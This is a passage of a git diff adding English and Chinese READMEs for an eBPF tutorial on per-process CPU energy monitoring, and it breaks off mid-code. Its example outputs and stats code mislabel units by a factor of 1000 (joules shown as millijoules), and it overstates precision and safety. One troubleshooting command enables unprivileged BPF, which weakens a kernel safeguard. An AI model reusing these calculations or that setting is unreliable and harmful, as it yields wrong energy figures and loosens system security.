| Zero crash risk | +| **Dynamic workloads** | Fixed sampling misses spikes | Event-driven captures all | Accurate spike detection | + +### When eBPF Energy Monitoring is Essential + +eBPF energy monitoring becomes critical in scenarios where precision, low overhead, and real-time feedback are paramount. + +| Deployment Scenario | Key Requirements | Why eBPF Excels | +|-------------------|------------------|-----------------| +| **Battery-Powered Devices** | Every millijoule matters, minimal monitoring overhead | Low overhead means monitoring doesn't impact battery life | +| **Multi-Tenant Clouds** | Accurate billing, power budget enforcement | Precise attribution enables fair energy accounting | +| **Thermal Management** | Real-time feedback in thermally constrained environments | Event-driven updates provide immediate thermal response | +| **Sustainability Reporting** | Audit-quality measurements for carbon footprint | Production-grade accuracy without traditional overhead | +| **Performance/Watt Optimization** | Measure impact of code changes with minimal perturbation | A/B testing capabilities with near-zero measurement bias | + +These use cases share common requirements that traditional polling-based approaches struggle to meet: the need for accurate, low-overhead, real-time energy attribution that can operate reliably in production environments. + +The ecosystem is rapidly maturing, with projects like Kepler already deployed in production Kubernetes clusters and cpufreq_ext heading toward mainline kernel inclusion. Our tutorial provides a foundation for understanding and building upon these advanced capabilities. + +## Architecture Overview + +Our energy monitoring solution provides a comprehensive comparison framework with two distinct implementations. The **eBPF Energy Monitor** delivers high-performance monitoring through kernel hooks, while the **Traditional Energy Monitor** uses bash-based `/proc` sampling to represent conventional approaches. A **Comparison Script** enables direct evaluation of both methods under identical conditions. + +The eBPF implementation architecture consists of three tightly integrated components: + +### Header File (energy_monitor.h) + +Defines the shared data structure for kernel-user communication: + +```c +struct energy_event { + __u64 ts; // Timestamp of context switch + __u32 cpu; // CPU core where process ran + __u32 pid; // Process ID + __u64 runtime_ns; // How long process ran (nanoseconds) + char comm[16]; // Process name +}; +``` + +### eBPF Program (energy_monitor.bpf.c) + +Implements the kernel-side logic with three key maps: + +```c +// Track when each process started running +struct { + __uint(type, BPF_MAP_TYPE_PERCPU_HASH); + __uint(max_entries, 10240); + __type(key, u32); // PID + __type(value, u64); // Start timestamp +} time_lookup SEC(".maps"); + +// Accumulate total runtime per process +struct { + __uint(type, BPF_MAP_TYPE_PERCPU_HASH); + __uint(max_entries, 10240); + __type(key, u32); // PID + __type(value, u64); // Total runtime in microseconds +} runtime_lookup SEC(".maps"); + +// Send events to userspace +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); +} rb SEC(".maps"); +``` + +### User-Space Application (energy_monitor.c) + +Processes events and calculates energy consumption based on configured CPU power. + +## Implementation Deep Dive + +Let's explore the key parts of our eBPF energy monitor implementation: + +### Hooking into the Scheduler + +The core of our monitor is the scheduler tracepoint that fires on every context switch: + +```c +SEC("tp/sched/sched_switch") +int monitor_energy(struct trace_event_raw_sched_switch *ctx) +{ + u64 ts = bpf_ktime_get_ns(); + u32 cpu = bpf_get_smp_processor_id(); + + u32 prev_pid = ctx->prev_pid; + u32 next_pid = ctx->next_pid; + + // Calculate runtime for the process that just stopped + u64 *old_ts_ptr = bpf_map_lookup_elem(&time_lookup, &prev_pid); + if (old_ts_ptr) { + u64 delta = ts - *old_ts_ptr; + update_runtime(prev_pid, delta); + + // Send event to userspace for real-time monitoring + struct energy_event *e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); + if (e) { + e->ts = ts; + e->cpu = cpu; + e->pid = prev_pid; + e->runtime_ns = delta; + bpf_probe_read_kernel_str(e->comm, sizeof(e->comm), ctx->prev_comm); + bpf_ringbuf_submit(e, 0); + } + } + + // Record when the next process starts running + bpf_map_update_elem(&time_lookup, &next_pid, &ts, BPF_ANY); + + return 0; +} +``` + +This function captures the exact moment when the CPU switches from one process to another, allowing us to calculate precisely how long each process ran. + +### Efficient Time Calculation + +To minimize overhead in the kernel, we use an optimized division function to convert nanoseconds to microseconds: + +```c +static inline u64 div_u64_by_1000(u64 n) { + u64 q, r, t; + t = (n >> 7) + (n >> 8) + (n >> 12); + q = (n >> 1) + t + (n >> 15) + (t >> 11) + (t >> 14); + q = q >> 9; + r = n - q * 1000; + return q + ((r + 24) >> 10); +} +``` + +This bit-shifting approach is much faster than regular division in the kernel context where floating-point operations aren't available. + +### Energy Calculation in Userspace + +The userspace program receives runtime events and calculates energy consumption: + +```c +static int handle_event(void *ctx, void *data, size_t data_sz) +{ + const struct energy_event *e = data; + + // Calculate energy in nanojoules + // Energy (J) = Power (W) × Time (s) + // Energy (nJ) = Power (W) × Time (ns) + __u64 energy_nj = (__u64)(env.cpu_power_watts * e->runtime_ns); + + if (env.verbose) { + printf("%-16s pid=%-6d cpu=%-2d runtime=%llu ns energy=%llu nJ\n", + e->comm, e->pid, e->cpu, e->runtime_ns, energy_nj); + } + + return 0; +} +``` + +### Final Statistics + +When the monitoring session ends, we aggregate the data from all CPU cores: + +```c +static void print_stats(struct energy_monitor_bpf *skel) +{ + int num_cpus = libbpf_num_possible_cpus(); + __u64 *values = calloc(num_cpus, sizeof(__u64)); + + // Iterate through all processes + while (bpf_map_get_next_key(bpf_map__fd(skel->maps.runtime_lookup), + &key, &next_key) == 0) { + // Sum values from all CPUs (percpu map) + if (bpf_map_lookup_elem(bpf_map__fd(skel->maps.runtime_lookup), + &next_key, values) == 0) { + for (int i = 0; i < num_cpus; i++) { + runtime_us += values[i]; + } + + // Calculate energy + double energy_mj = (env.cpu_power_watts * runtime_us) / 1000000.0; + printf("%-10d %-16s %-15.2f %-15.4f\n", + next_key, comm, runtime_ms, energy_mj); + } + } +} +``` + +## Building and Running the Energy Monitor + +### Prerequisites + +Before building, ensure you have: +- Linux kernel 5.4 or newer with BTF support +- libbpf development files +- clang and llvm for eBPF compilation +- Basic build tools (make, gcc) + +### Compilation + +Build all components with the provided Makefile: + +```bash +cd /yunwei37/bpf-developer-tutorial/src/48-energy +make clean && make +``` + +This creates: +- `energy_monitor`: The eBPF-based energy monitor +- `energy_monitor_traditional.sh`: The traditional polling-based monitor +- `compare_monitors.sh`: Script to compare both approaches + +### Running the eBPF Monitor + +The eBPF monitor requires root privileges to attach to kernel tracepoints: + +```bash +# Monitor all processes for 10 seconds with 15W CPU power +sudo ./energy_monitor -d 10 -p 15.0 + +# Monitor with verbose output +sudo ./energy_monitor -v -d 10 + +# Continuous monitoring (Ctrl+C to stop) +sudo ./energy_monitor +``` + +Example output: + +``` +Energy monitor started... Hit Ctrl-C to end. +CPU Power: 15.00 W +Running for 10 seconds + +=== Energy Usage Summary === +PID COMM Runtime (ms) Energy (mJ) +---------- ---------------- --------------- --------------- +39716 firefox 541.73 8.1260 +19845 node 67.71 1.0157 +39719 vscode 63.15 0.9472 +29712 chrome 13.34 0.2000 +... + +Total CPU time: 2781.52 ms +Total estimated energy: 0.0417 J (41.7229 mJ) +CPU power setting: 15.00 W +``` + +### Running the Traditional Monitor + +The traditional monitor uses `/proc` sampling and runs without special privileges: + +```bash +# Monitor for 10 seconds with verbose output +./energy_monitor_traditional.sh -d 10 -v + +# Adjust sampling interval (default 100ms) +./energy_monitor_traditional.sh -d 10 -i 0.05 +``` + +### Comparing Both Approaches + +Use the comparison script to see the differences: + +```bash +# Basic comparison +sudo ./compare_monitors.sh -d 10 + +# With a CPU workload +sudo ./compare_monitors.sh -d 10 -w "stress --cpu 2 --timeout 10" +``` + +Example comparison output: + +``` +Comparison Results +================== + +Metric Traditional eBPF +------------------------- --------------- --------------- +Total Energy (J) 1.050000 0.0288 +Monitoring Time (s) 5.112031 4.500215 +Samples/Events 50 Continuous + +Performance Analysis: +- Traditional monitoring overhead: 13.00% compared to eBPF +- eBPF provides per-context-switch granularity +- Traditional samples at fixed intervals (100ms) +``` + +### Hardware RAPL Energy Measurements + +The energy monitor now includes **native support for Intel RAPL (Running Average Power Limit) hardware counters**, providing real-time energy measurements directly from CPU hardware instead of relying on software estimation. RAPL is available on Intel processors since Sandy Bridge (2011) and AMD processors since Zen+ (2019). + +When RAPL is available, the tool automatically detects and uses hardware energy counters through the Linux `perf_event` interface. This provides several significant advantages over software estimation: it captures actual power consumption including dynamic frequency scaling (DVFS), CPU idle states (C-states), and voltage changes that simple time-based estimation cannot account for. RAPL measures multiple energy domains including the entire CPU package, individual cores, integrated graphics (uncore), and DRAM, giving you a complete picture of system energy consumption. + +To use RAPL hardware measurements: + +```bash +# Automatic RAPL detection (default behavior) +sudo ./energy_monitor -d 10 + +# Disable RAPL and use software estimation +sudo ./energy_monitor -d 10 --no-rapl -p 15.0 + +# Check RAPL availability on your system +ls /sys/bus/event_source/devices/power/events/ +``` + +Example output with RAPL enabled: + +``` +RAPL initialized with 2 domains +Using hardware RAPL energy counters +Energy monitor started... Hit Ctrl-C to end. + +=== Energy Usage Summary === +PID COMM Runtime (ms) Energy (mJ) +... + +=== RAPL Hardware Energy Measurements === +pkg : 231.716422 J (231716.42 mJ) +cores : 159.937200 J (159937.20 mJ) + +Total RAPL energy: 391.653622 J (391653.62 mJ) +Measurement method: Hardware RAPL counters +``` + +The RAPL measurements show total system energy consumption across all processes, while the per-process CPU time breakdown helps identify which applications consumed the most CPU cycles. For more information about RAPL and power capping, see the [Linux Powercap Framework documentation](https://docs.kernel.org/power/powercap/powercap.html). + +## Understanding Energy Monitoring Trade-offs + +While our energy monitor provides valuable insights, it's important to understand its limitations and trade-offs: + +### Accuracy Considerations + +Our energy monitoring model employs a simplified approach using the formula: Energy = CPU_Power × CPU_Time. While this provides valuable comparative insights, it doesn't account for several dynamic factors that affect real power consumption. + +**Frequency scaling** represents a significant limitation as modern CPUs change frequency dynamically based on workload and thermal conditions. Different **idle states** (C-states) also consume varying amounts of power, from near-zero in deep sleep to significant standby power in shallow idle states. Additionally, **workload characteristics** matter because some instructions (particularly vector operations and memory-intensive tasks) consume more power per cycle than simple arithmetic operations. + +The model also overlooks **shared resource consumption** from cache, memory controllers, and I/O subsystems that contribute to total system power but aren't directly attributable to CPU execution time. + +For production deployments requiring higher accuracy, enhancements would include reading hardware performance counters for actual power measurements, tracking frequency changes through DVFS events, modeling different instruction types based on performance counters, and incorporating memory and I/O activity metrics from the broader system. + +### When to Use Each Approach + +The choice between eBPF and traditional monitoring depends on your specific requirements and constraints. + +**eBPF monitoring** excels when you need accurate CPU time tracking, particularly for short-lived processes that traditional sampling might miss entirely. Its minimal measurement overhead makes it ideal for production environments where the monitoring tool itself shouldn't impact the workload being measured. eBPF is particularly valuable for comparative analysis between processes, where relative accuracy matters more than absolute precision. + +**Traditional monitoring** remains appropriate when eBPF isn't available due to permission restrictions or older kernel versions lacking BTF support. It provides a simple, portable solution that requires no special privileges and works across different platforms. For monitoring long-running, stable workloads where approximate measurements are sufficient, traditional approaches offer adequate insight with simpler deployment requirements. + +## Practical Use Cases and Deployment Scenarios + +Understanding when and how to deploy eBPF energy monitoring helps maximize its value. Here are real-world scenarios where it excels: + +### Data Center Energy Optimization + +Modern data centers operate under strict power budgets and cooling constraints where eBPF energy monitoring provides critical operational capabilities. **Workload placement** becomes intelligent when schedulers understand the energy profile of different applications, enabling balanced power consumption across racks while avoiding thermal hot spots and maximizing overall efficiency. + +During peak demand periods, **power capping** systems can leverage real-time energy attribution to identify and selectively throttle the most power-hungry processes without impacting critical services. This surgical approach maintains service levels while staying within power infrastructure limits. + +For cloud providers, **billing and chargeback** accuracy drives customer behavior toward more efficient code. When customers can see the actual energy cost of their workloads, they have direct financial incentives to optimize their applications for energy efficiency. + +### Mobile and Edge Computing + +Battery-powered devices present unique energy constraints where precise monitoring becomes essential for user experience and device longevity. **App energy profiling** empowers developers with exact energy consumption data during different operations, enabling targeted optimizations that can significantly extend battery life without sacrificing functionality. + +Operating systems benefit from **background task management** intelligence, where historical energy consumption patterns inform decisions about which background tasks to allow or defer. This prevents energy-hungry background processes from draining batteries while maintaining essential services. + +In devices without active cooling, **thermal management** becomes critical as energy monitoring helps predict thermal buildup before throttling occurs. By understanding energy patterns, the system can proactively manage workloads to maintain consistent performance within thermal limits. + +### Development and CI/CD Integration + +Integrating energy monitoring into development workflows creates a continuous feedback loop that prevents efficiency regressions from reaching production. **Energy regression testing** becomes automated through CI/CD pipelines that flag code changes increasing energy consumption beyond predefined thresholds, treating energy efficiency as a first-class software quality metric. + +**Performance/watt optimization** provides developers with visibility into the true cost of performance improvements. Some optimizations may increase speed while dramatically increasing energy consumption, and others may achieve better efficiency with minimal performance impact. This visibility enables informed architectural decisions that balance speed and efficiency based on actual workload requirements. + +**Green software metrics** integration allows organizations to track and report energy efficiency as part of sustainability initiatives. Regular measurement provides concrete data for environmental impact reporting while creating accountability for software teams to consider energy efficiency in their development practices. + +### Research and Education + +eBPF energy monitoring serves as a powerful research and educational tool that bridges the gap between theoretical understanding and practical system behavior. **Algorithm comparison** becomes rigorous when researchers can measure energy efficiency differences between approaches under production-realistic conditions, providing empirical data that complements theoretical complexity analysis. + +**System behavior analysis** reveals complex interactions between different components from an energy perspective, uncovering optimization opportunities that aren't apparent when looking at performance metrics alone. These insights drive system design decisions that consider the total cost of ownership, including operational energy costs. + +As a **teaching tool**, energy monitoring makes abstract concepts tangible by showing students the immediate energy impact of their code. When algorithmic complexity discussions are paired with real energy measurements, students develop intuition about the practical implications of their design choices beyond just computational efficiency. + +## Extending the Energy Monitor + +The current implementation includes **native RAPL hardware counter support** for real-time energy measurements and provides a solid foundation for building more sophisticated energy monitoring capabilities. Several enhancement directions offer significant value for different deployment scenarios. + +| Extension Area | Implementation Status | Value Proposition | +|---------------|----------------------|-------------------| +| **Hardware Counter Integration** | ✅ **Implemented** - RAPL counters via `perf_event_open()` | Actual hardware measurements with automatic fallback | +| **Per-Core Power Modeling** | Future enhancement | Accurate attribution on heterogeneous processors (P-cores vs E-cores) | +| **Workload Classification** | Future enhancement | Enable workload-specific power optimization | +| **Container Runtime Integration** | Future enhancement | Cloud-native energy attribution and billing | +| **Real-time Visualization** | Future enhancement | Immediate feedback for energy optimization | + +**Hardware counter integration (✅ Implemented)**: The energy monitor now includes full RAPL support, reading actual hardware energy counters through the Linux `perf_event` interface. This provides precise energy measurements across multiple domains (package, cores, DRAM) and automatically falls back to software estimation when RAPL is unavailable. See the [Hardware RAPL Energy Measurements](#hardware-rapl-energy-measurements) section above for usage details. + +**Per-core power modeling** becomes essential on heterogeneous processors where performance cores and efficiency cores have dramatically different power characteristics. Tracking which core each process runs on enables accurate energy attribution: + +```c +// Different cores may have different power characteristics +double core_power[MAX_CPUS] = {15.0, 15.0, 10.0, 10.0}; // P-cores vs E-cores +``` + +**Workload classification** enhances energy monitoring by recognizing different computational patterns and their associated energy costs: + +```c +enum workload_type { + WORKLOAD_CPU_INTENSIVE, + WORKLOAD_MEMORY_BOUND, + WORKLOAD_IO_BOUND, + WORKLOAD_IDLE +}; +``` + +## Troubleshooting Common Issues + +When deploying eBPF energy monitoring, you might encounter these common issues: + +### Permission Denied + +If you see permission errors when running the eBPF monitor: + +```bash +# Check if BPF is enabled +sudo sysctl kernel.unprivileged_bpf_disabled + +# Enable BPF for debugging (not recommended for production) +sudo sysctl kernel.unprivileged_bpf_disabled=0 +``` + +### Missing BTF Information + +If the kernel lacks BTF (BPF Type Format) data: + +```bash +# Check for BTF support +ls /sys/kernel/btf/vmlinux + +# On older kernels, you may need to generate BTF +# or use a kernel with CONFIG_DEBUG_INFO_BTF=y +``` + +### High CPU Usage + +If the monitor itself causes high CPU usage: + +1. Reduce the ring buffer size in the eBPF program +2. Increase the batch size for reading events +3. Filter events in the kernel to reduce volume + +### Missing Processes + +If some processes aren't being tracked: + +1. Check if they're running in a different PID namespace +2. Ensure the monitor starts before the processes +3. Verify the hash map size is sufficient + +## Future Directions + +The field of eBPF-based energy monitoring is rapidly evolving. Here are exciting developments on the horizon: + +### Integration with Hardware Accelerators + +As GPUs, TPUs, and other accelerators become common, extending eBPF monitoring to track their energy consumption will provide complete system visibility. + +### Machine Learning for Power Prediction + +Using eBPF-collected data to train models that predict future power consumption based on workload patterns, enabling proactive power management. + +### Standardization Efforts + +Work is underway to standardize eBPF energy monitoring interfaces, making it easier to build portable tools that work across different platforms. + +### Carbon-Aware Computing + +Combining energy monitoring with real-time carbon intensity data to automatically shift workloads to times and locations with cleaner energy. + +## References and Further Reading + +To dive deeper into the topics covered in this tutorial: + +### Energy and Power Management + +- Intel Running Average Power Limit (RAPL): [https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/advisory-guidance/running-average-power-limit-energy-reporting.html](https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/advisory-guidance/running-average-power-limit-energy-reporting.html) +- Linux Power Management: [https://www.kernel.org/doc/html/latest/admin-guide/pm/index.html](https://www.kernel.org/doc/html/latest/admin-guide/pm/index.html) +- ACPI Specification: [https://uefi.org/specifications](https://uefi.org/specifications) + +### Related Projects + +- Kepler (Kubernetes Efficient Power Level Exporter): [https://sustainable-computing.io/](https://sustainable-computing.io/) +- Scaphandre Power Measurement: [https://github.com/hubblo-org/scaphandre](https://github.com/hubblo-org/scaphandre) +- PowerTOP: [https://github.com/fenrus75/powertop](https://github.com/fenrus75/powertop) +- cpufreq_ext eBPF Governor: [https://lwn.net/Articles/991991/](https://lwn.net/Articles/991991/) +- Wattmeter (HotCarbon '24): [https://www.asafcidon.com/uploads/5/9/7/0/59701649/energy-aware-ebpf.pdf](https://www.asafcidon.com/uploads/5/9/7/0/59701649/energy-aware-ebpf.pdf) + +### Academic Papers + +- "Energy-Aware Process Scheduling in Linux" (HotCarbon '24) +- "DEEP-mon: Dynamic and Energy Efficient Power monitoring for container-based infrastructures" +- "eBPF-based Energy-Aware Scheduling" research papers + +The complete code for this tutorial is available at: [https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/48-energy](https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/48-energy) + +For more eBPF tutorials and projects, visit: [https://eunomia.dev/tutorials/](https://eunomia.dev/tutorials/) diff --git a/src/48-energy/README.zh.md b/src/48-energy/README.zh.md new file mode 100644 index 00000000..96b36aa5 --- /dev/null +++ b/src/48-energy/README.zh.md @@ -0,0 +1,576 @@ +# eBPF 教程:进程级能源监控与功耗分析 + +您是否想过应用程序到底消耗了多少能源?在数据中心和边缘设备中,能源效率正变得愈发重要,深入了解进程级别的功耗已成为系统优化的关键。本教程将带您构建一个基于 eBPF 的能源监控工具,它能以极低的系统开销实时洞察进程的功耗情况。 + +## 能源监控和功耗分析简介 + +长期以来,计算系统的能源监控一直面临着细粒度测量能力不足的挑战。虽然 Intel RAPL(Running Average Power Limit)等硬件计数器能够测量系统总功耗或 CPU 封装功耗,但无法精确定位具体是哪些进程在消耗这些能量。这正是软件层面能源归因技术的用武之地。 + +进程在 CPU 上运行时,其功耗与 CPU 占用时间和处理器功率状态密切相关。难点在于如何实时精确地追踪这种关系,同时避免监控本身带来的额外功耗和测量偏差。传统的轮询式监控方法容易遗漏短生命周期的进程,而且监控开销会影响测量的准确性。 + +eBPF 技术的出现彻底改变了这一局面!通过在内核调度器事件上设置钩子,我们能够以纳秒级精度捕获每次上下文切换时的进程 CPU 时间。这种方法不仅能精确测量每个进程的 CPU 时间,完全消除短生命周期进程的采样误差,还能相比轮询方式大幅降低监控开销。更重要的是,它支持实时计算基于 CPU 时间的能源消耗,精准关联能源使用与具体工作负载。 + +## 理解 CPU 功耗 + +在深入实现之前,了解 CPU 功耗的工作原理非常重要。现代处理器以几种方式消耗功率: + +### 动态功耗 + +动态功耗产生于晶体管状态切换的过程中。当处理器工作在更高的时钟频率时,单位时间内的状态切换次数增加;当电压升高时,每次切换消耗的能量也相应增大;而执行的指令越多,参与切换的晶体管数量就越多。这些因素共同决定了动态功耗的大小,其关系可以用公式表示为:P_dynamic = C × V² × f × α,其中 C 表示电容,V 表示电压,f 表示频率,α 表示活动因子。 + +### 静态功耗 + +即使晶体管不切换,由于通过晶体管的电流泄漏,也会消耗静态(或泄漏)功率。在拥有数十亿个晶体管的现代处理器中,这变得越来越重要。 + +### 功率状态和 DVFS + +现代 CPU 使用动态电压和频率调节(DVFS)来平衡性能和功耗。处理器可以在具有不同频率/电压组合的不同 P 状态(性能状态)下运行,并在不主动计算时进入 C 状态(空闲状态)。 + +我们的能源监控方法通过将 CPU 时间乘以平均功耗来估算能源消耗。虽然这是一种简化(它不考虑频率变化或空闲状态),但它提供了一个有用的近似值来比较进程之间的相对能源使用。 + +## 比较传统与 eBPF 能源监控 + +为了理解为什么 eBPF 在能源监控方面更优越,让我们将其与传统方法进行比较: + +### 传统的基于 /proc 的监控 + +传统的能源监控工具通常通过定期读取 `/proc/stat` 来采样 CPU 使用情况。以下是我们的传统监控器的工作原理: + +```bash +# 读取进程的总 CPU 时间 +cpu_time=$(awk '{print $14 + $15}' /proc/$pid/stat) + +# 基于时间差计算能量 +energy = cpu_power * (current_time - previous_time) +``` + +这种方法存在明显的局限性。首先是**采样误差**问题,在采样间隔内启动和停止的进程会被完全遗漏。其次是**固定开销**,每次采样都需要读取和解析 `/proc` 文件系统。再者是**精度限制**,典型的采样间隔达到 100ms 或更长。最后是**可扩展性**挑战,监控大量进程时需要频繁读取众多文件,开销急剧增加。 + +### 基于 eBPF 的监控 + +我们的 eBPF 方法直接挂钩到内核调度器: + +```c +SEC("tp/sched/sched_switch") +int monitor_energy(struct trace_event_raw_sched_switch *ctx) { + u64 ts = bpf_ktime_get_ns(); + // 跟踪进程停止运行的确切时间 + u64 delta = ts - previous_timestamp; + update_runtime(prev_pid, delta); +} +``` + +这种方法的优势非常明显。它能够捕获每一次上下文切换,实现**完美精度**;无需轮询或文件解析,保证了**最小开销**;提供**纳秒级精度**的 CPU 时间测量;更重要的是具有出色的**可扩展性**,无论监控 1 个还是 1000 个进程,系统开销基本相同。 + +## 为什么选择 eBPF 进行能源监控? + +能源监控的格局已经显著发展,正如 eBPF 能源项目综合调查中详细描述的那样。让我结合能源监控生态系统的关键见解: + +### eBPF 能源项目的当前状态 + +eBPF 能源管理生态系统正在两个主要类别中快速发展:成熟的遥测解决方案和新兴的功率控制框架。 + +**能源遥测和计费(生产就绪)** + +在生产就绪的能源遥测和计费领域,已经涌现出几个成熟的解决方案。**Kepler** 作为 CNCF 沙箱项目,已经在生产环境中广泛部署,它专注于 Kubernetes 环境中的容器和 pod 能源归因,通过结合 eBPF 跟踪点、RAPL 硬件计数器和性能计数器来实现精确测量。**Wattmeter** 则是一个研究原型,在 HotCarbon '24 会议上展示,它通过在上下文切换时读取 RAPL MSR 寄存器的 eBPF 程序来实现每进程能源跟踪,其开销低于 1 微秒,展现了极高的效率。**DEEP-mon** 提供了另一种经过学术验证的方法,专门针对容器功率监控,通过在内核内对调度器事件进行 eBPF 聚合,巧妙地避免了用户空间的开销。 + +**通过 eBPF 进行功率控制(研发中)** + +新兴的功率控制领域代表了 eBPF 能源管理的下一个前沿。**cpufreq_ext** 是第一个可以通过 `bpf_struct_ops` 接口实际修改 CPU 频率的上游 eBPF 实现,允许用 eBPF 而不是内核 C 代码编写频率调节策略。 + +研究原型包括一个 **eBPF CPU 空闲调节器**,它用 eBPF 挂钩替换传统的 menu/TEO 调节器,用于动态空闲状态选择和空闲注入。概念性的 **BEAR(BPF 能源感知运行时)** 框架旨在在单个基于 eBPF 的策略引擎下统一 DVFS、空闲和热管理,尽管还没有公开实现。 + +### 为什么我们的方法很重要 + +我们的能源监控器属于遥测类别,但特别关注教育清晰度和与传统方法的比较。eBPF 的**事件驱动架构**与基于轮询的方法根本不同,它实时响应内核事件。当调度器切换进程时,我们的代码立即运行,以纳秒精度捕获确切的转换时刻。 + +**内核内聚合**功能通过在内核中维护每个 CPU 的哈希映射,消除了将每个上下文切换事件发送到用户空间的开销。只有聚合数据或采样事件需要跨越内核-用户边界,大大减少了监控开销。结合 eBPF 在加载前通过程序验证的**安全保证**,这创建了一个生产就绪的解决方案,不会崩溃内核或创建无限循环。 + +也许最重要的是,eBPF 支持**热插拔分析**,您可以在不重新启动应用程序或重新启动系统的情况下附加和分离能源监控器。这种能力支持对生产工作负载进行临时分析,这是传统内核模块或检测方法无法做到的。 + +### 现实世界的影响 + +eBPF 能源监控在不同部署场景中展现出的实际优势令人瞩目。对于**短暂进程**,传统方法经常会完全错过这些快速启动和停止的进程,而 eBPF 方法能够跟踪每一微秒,实现 100% 的可见性。在**容器监控**场景中,传统方法需要为每个容器承担高昂的监控开销,而 eBPF 通过共享内核基础设施,能够将开销降低 10 到 100 倍。对于**生产系统**而言,传统的内核模块存在系统崩溃的风险,而 eBPF 的验证安全程序确保了零崩溃风险。面对**动态工作负载**时,传统的固定采样方式容易错过功耗峰值,而 eBPF 的事件驱动机制能够捕获所有变化,实现准确的峰值检测。 + +### 何时 eBPF 能源监控至关重要 + +eBPF 能源监控在多种关键场景中发挥着不可替代的作用。在**电池供电设备**上,每一毫焦耳的能量都至关重要,而 eBPF 的低开销特性确保了监控过程本身不会影响电池寿命。**多租户云**环境需要准确的能源计费和功率预算执行,eBPF 的精确归因能力使得公平的能源计费成为可能。在**热管理**场景中,热约束环境需要实时反馈,eBPF 的事件驱动更新机制能够提供即时的热响应。对于**可持续性报告**,组织需要审计级别的碳足迹测量,eBPF 提供了生产级的精度,同时避免了传统方法的高开销。在进行**性能/瓦特优化**时,开发者需要以最小的干扰测量代码更改的影响,eBPF 提供了接近零偏差的 A/B 测试能力。 + +这些用例共享传统基于轮询的方法难以满足的共同要求:需要准确、低开销、实时的能源归因,可以在生产环境中可靠运行。 + +生态系统正在迅速成熟,像 Kepler 这样的项目已经部署在生产 Kubernetes 集群中,cpufreq_ext 正朝着主线内核包含的方向发展。我们的教程为理解和构建这些高级功能提供了基础。 + +## 架构概述 + +我们的能源监控解决方案提供了一个全面的比较框架,包含两种不同的实现。**eBPF 能源监控器**通过内核挂钩提供高性能监控,而**传统能源监控器**使用基于 bash 的 `/proc` 采样来代表传统方法。**比较脚本**允许在相同条件下直接评估两种方法。 + +eBPF 实现架构由三个紧密集成的组件组成: + +### 头文件 (energy_monitor.h) + +定义内核-用户通信的共享数据结构: + +```c +struct energy_event { + __u64 ts; // 上下文切换的时间戳 + __u32 cpu; // 进程运行的 CPU 核心 + __u32 pid; // 进程 ID + __u64 runtime_ns; // 进程运行时间(纳秒) + char comm[16]; // 进程名称 +}; +``` + +### eBPF 程序 (energy_monitor.bpf.c) + +使用三个关键映射实现内核端逻辑: + +```c +// 跟踪每个进程开始运行的时间 +struct { + __uint(type, BPF_MAP_TYPE_PERCPU_HASH); + __uint(max_entries, 10240); + __type(key, u32); // PID + __type(value, u64); // 开始时间戳 +} time_lookup SEC(".maps"); + +// 累积每个进程的总运行时间 +struct { + __uint(type, BPF_MAP_TYPE_PERCPU_HASH); + __uint(max_entries, 10240); + __type(key, u32); // PID + __type(value, u64); // 总运行时间(微秒) +} runtime_lookup SEC(".maps"); + +// 向用户空间发送事件 +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); +} rb SEC(".maps"); +``` + +### 用户空间应用程序 (energy_monitor.c) + +处理事件并基于配置的 CPU 功率计算能源消耗。 + +## 实现深入探讨 + +让我们探索 eBPF 能源监控器实现的关键部分: + +### 挂钩到调度器 + +我们监控器的核心是在每次上下文切换时触发的调度器跟踪点: + +```c +SEC("tp/sched/sched_switch") +int monitor_energy(struct trace_event_raw_sched_switch *ctx) +{ + u64 ts = bpf_ktime_get_ns(); + u32 cpu = bpf_get_smp_processor_id(); + + u32 prev_pid = ctx->prev_pid; + u32 next_pid = ctx->next_pid; + + // 计算刚刚停止的进程的运行时间 + u64 *old_ts_ptr = bpf_map_lookup_elem(&time_lookup, &prev_pid); + if (old_ts_ptr) { + u64 delta = ts - *old_ts_ptr; + update_runtime(prev_pid, delta); + + // 向用户空间发送事件以进行实时监控 + struct energy_event *e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); + if (e) { + e->ts = ts; + e->cpu = cpu; + e->pid = prev_pid; + e->runtime_ns = delta; + bpf_probe_read_kernel_str(e->comm, sizeof(e->comm), ctx->prev_comm); + bpf_ringbuf_submit(e, 0); + } + } + + // 记录下一个进程开始运行的时间 + bpf_map_update_elem(&time_lookup, &next_pid, &ts, BPF_ANY); + + return 0; +} +``` + +这个函数捕获 CPU 从一个进程切换到另一个进程的确切时刻,使我们能够精确计算每个进程运行了多长时间。 + +### 高效的时间计算 + +为了最小化内核中的开销,我们使用优化的除法函数将纳秒转换为微秒: + +```c +static inline u64 div_u64_by_1000(u64 n) { + u64 q, r, t; + t = (n >> 7) + (n >> 8) + (n >> 12); + q = (n >> 1) + t + (n >> 15) + (t >> 11) + (t >> 14); + q = q >> 9; + r = n - q * 1000; + return q + ((r + 24) >> 10); +} +``` + +这种位移方法在内核上下文中比常规除法快得多,在内核上下文中浮点运算不可用。 + +### 用户空间中的能源计算 + +用户空间程序接收运行时事件并计算能源消耗: + +```c +static int handle_event(void *ctx, void *data, size_t data_sz) +{ + const struct energy_event *e = data; + + // 计算能量(纳焦耳) + // 能量 (J) = 功率 (W) × 时间 (s) + // 能量 (nJ) = 功率 (W) × 时间 (ns) + __u64 energy_nj = (__u64)(env.cpu_power_watts * e->runtime_ns); + + if (env.verbose) { + printf("%-16s pid=%-6d cpu=%-2d runtime=%llu ns energy=%llu nJ\n", + e->comm, e->pid, e->cpu, e->runtime_ns, energy_nj); + } + + return 0; +} +``` + +### 最终统计 + +当监控会话结束时,我们聚合来自所有 CPU 核心的数据: + +```c +static void print_stats(struct energy_monitor_bpf *skel) +{ + int num_cpus = libbpf_num_possible_cpus(); + __u64 *values = calloc(num_cpus, sizeof(__u64)); + + // 遍历所有进程 + while (bpf_map_get_next_key(bpf_map__fd(skel->maps.runtime_lookup), + &key, &next_key) == 0) { + // 汇总来自所有 CPU 的值(percpu map) + if (bpf_map_lookup_elem(bpf_map__fd(skel->maps.runtime_lookup), + &next_key, values) == 0) { + for (int i = 0; i < 